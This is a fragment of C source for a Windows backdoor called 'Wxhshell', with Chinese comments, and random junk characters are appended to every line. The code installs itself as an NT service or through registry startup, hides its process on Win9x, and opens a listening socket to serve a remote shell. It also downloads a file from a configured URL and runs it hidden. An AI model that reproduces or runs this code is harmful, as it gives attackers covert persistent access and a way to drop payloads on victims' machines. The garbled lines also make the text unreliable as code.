} PROCESS_BASIC_INFORMATION; nH#|]gVI
K&t+3O
PROCNTQSIP NtQueryInformationProcess; c({V[eGY
JO4rU-
n
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~"E@do("
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yX}riXe
}4!R2c
HANDLE hProcess; o2FQ/EIE
PROCESS_BASIC_INFORMATION pbi; v>2gx1F"?
|G+6R-_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vpoeK'bi,
if(NULL == hInst ) return 0; liW0v!jBo
3J2j5N:g
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j0p'_|)(
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6iiH+Nc
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -/>SdR$D7
88)F-St
if (!NtQueryInformationProcess) return 0; O<0G\sU
z9k3@\7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rKR2v(c
if(!hProcess) return 0; !+;'kI2
" .9b}}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nMK,g>wp
HMQi:s7%
CloseHandle(hProcess); Hoaf3
`n
):@XMECa
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o<*H!oyP\
if(hProcess==NULL) return 0; m"{D}(TA
CH6^;.
HMODULE hMod; fa7I6 i
char procName[255]; pNN6P sLt
unsigned long cbNeeded; n5Ad@B g
[MmOPm}@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kxJ! #%w
6R%Ra
CloseHandle(hProcess); RJ ,a}w[9
jt?937{
if(strstr(procName,"services")) return 1; // 以服务启动 pXfg{2
=K6aiP$Ft
return 0; // 注册表启动 [xF (t @p
} TG\3T%gH/s
@S /jVXA
// 主模块 ; ]*
%wX
int StartWxhshell(LPSTR lpCmdLine) H\OV7=8
{ SH"e x,=
SOCKET wsl; gK {-eS
BOOL val=TRUE; ^f:oKKaAW;
int port=0; qSRE)C=)
struct sockaddr_in door; (x{6N^J.t
RR u1/nam
if(wscfg.ws_autoins) Install(); 1LbJR'}
T)"B35
port=atoi(lpCmdLine); n+db#qAj5
lKo07s6u
if(port<=0) port=wscfg.ws_port; z\zmAus
vJ__jO"Sq
WSADATA data; rkF]Q_'`t;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |IbCN
_5F8F4QY`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0XCtw6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $
e<&7
door.sin_family = AF_INET; iez@j
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -^m]Tb<u
door.sin_port = htons(port); 29(s^#e8A
(nWi9(}J
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~_SoP
closesocket(wsl); H"_ZqEg
return 1; :zXkQQD8`
} v(+9&
1l$c*STK
if(listen(wsl,2) == INVALID_SOCKET) { :Ogt{t
closesocket(wsl); #&JhA2]q
return 1; j[zo~Y4z
} ~J}{'l1{yf
Wxhshell(wsl); eyq8wQT
WSACleanup(); &,pL3Qos
KLpe!8tAe
return 0; '.jr" 3u
J?d&+mt
} KZFnp=i
(Sr D
// 以NT服务方式启动 D -Goi-4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !,f{I5/
{ P&Vqr
DWORD status = 0; :x*|?zII
DWORD specificError = 0xfffffff; ^l}Esz`-M
N=e-"8
serviceStatus.dwServiceType = SERVICE_WIN32; dg9
DBn#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8lAs~c
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gO kq>i_
serviceStatus.dwWin32ExitCode = 0; jmgU'w-s
serviceStatus.dwServiceSpecificExitCode = 0; NwH`t#zd
serviceStatus.dwCheckPoint = 0; s8,{8k
serviceStatus.dwWaitHint = 0; YGRv` `(
D^+#RR'#,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 86bl'FdKS
if (hServiceStatusHandle==0) return; s8,N9o[.~P
[42vO
status = GetLastError(); P`JO6O:&
if (status!=NO_ERROR) kPt9(E]
{ yi7m!+D3
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z x9oj
serviceStatus.dwCheckPoint = 0; dd+[FU
serviceStatus.dwWaitHint = 0; =YZyH4eI
serviceStatus.dwWin32ExitCode = status; 1Ner1EKGp
serviceStatus.dwServiceSpecificExitCode = specificError; a1lF8; [
SetServiceStatus(hServiceStatusHandle, &serviceStatus); os|Y=a
return; NdpcfZq
} RrM C[2=
iGG;
serviceStatus.dwCurrentState = SERVICE_RUNNING; MdzG2uZT
serviceStatus.dwCheckPoint = 0; /s91[n(d
serviceStatus.dwWaitHint = 0; }pP<+U
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9G7lPK
} +8tdAw
86[/NTD<-
// 处理NT服务事件,比如:启动、停止 ,2H@xji
[
VOID WINAPI NTServiceHandler(DWORD fdwControl) :JBvCyj4PE
{ Qqt<
switch(fdwControl) %nU8 Ca
{ 9.F+)y@
case SERVICE_CONTROL_STOP: F$l]#G.@A
serviceStatus.dwWin32ExitCode = 0; K!|%mI8gk
serviceStatus.dwCurrentState = SERVICE_STOPPED; wB(A['k
serviceStatus.dwCheckPoint = 0; uWs5+
serviceStatus.dwWaitHint = 0; >EQd;Af
{ @lo6?9oNo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4a'GWzUtS
} W0vdU;?%
return; (E'f'g
case SERVICE_CONTROL_PAUSE: Ne^md
serviceStatus.dwCurrentState = SERVICE_PAUSED; %O$4da"y
break; u`Ew^-">
case SERVICE_CONTROL_CONTINUE: 2=X\G~a
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?NV3]vl
break; ~-r*2bR
case SERVICE_CONTROL_INTERROGATE: P<AN`un
break; /RLeD
}; 2yYq/J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J(CqT/Au-
} qla$}dnvc
3GkVMYI
// 标准应用程序主函数 |Gc2w]\3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RS'%;B-)
{ &|t*9D
9~8UG (
// 获取操作系统版本 ?S9!;x<
OsIsNt=GetOsVer(); P
I gbeP
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ra\>^W6z
N%1T>cp0
// 从命令行安装 =d#3& R]p
if(strpbrk(lpCmdLine,"iI")) Install(); %xE9vN;
P{
AJH1
// 下载执行文件 2jQ|4$9j
if(wscfg.ws_downexe) { h= uv4&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0QE2e'}}-
WinExec(wscfg.ws_filenam,SW_HIDE); K1S)S8.EZ8
} xngK_n
$_N<! h*\
if(!OsIsNt) { ?:bW@x
// 如果时win9x,隐藏进程并且设置为注册表启动 F\1{b N|3
HideProc(); '%&i#Eb
StartWxhshell(lpCmdLine); q4)8]Y2
} V#!ftu#c?
else R:7j`gHJ|9
if(StartFromService()) %T3L-{s5
// 以服务方式启动 KF' $D:\
StartServiceCtrlDispatcher(DispatchTable); ") Xy%C`J
else '5V2{k$4U
// 普通方式启动 qq0bIfF\4
StartWxhshell(lpCmdLine); 52-Gk2dp
c hE~UQ
return 0; B2UQO4[w
} pgg4<j_mn
_h#SP+>
5f&+(Wqw
*M*:3v
0
=========================================== vO#4$,
!MNo
8dC;
86J7%;^Xa
E}S)uI,gn
H]a; <V9[
&M$s@FUY
" RC5b'+E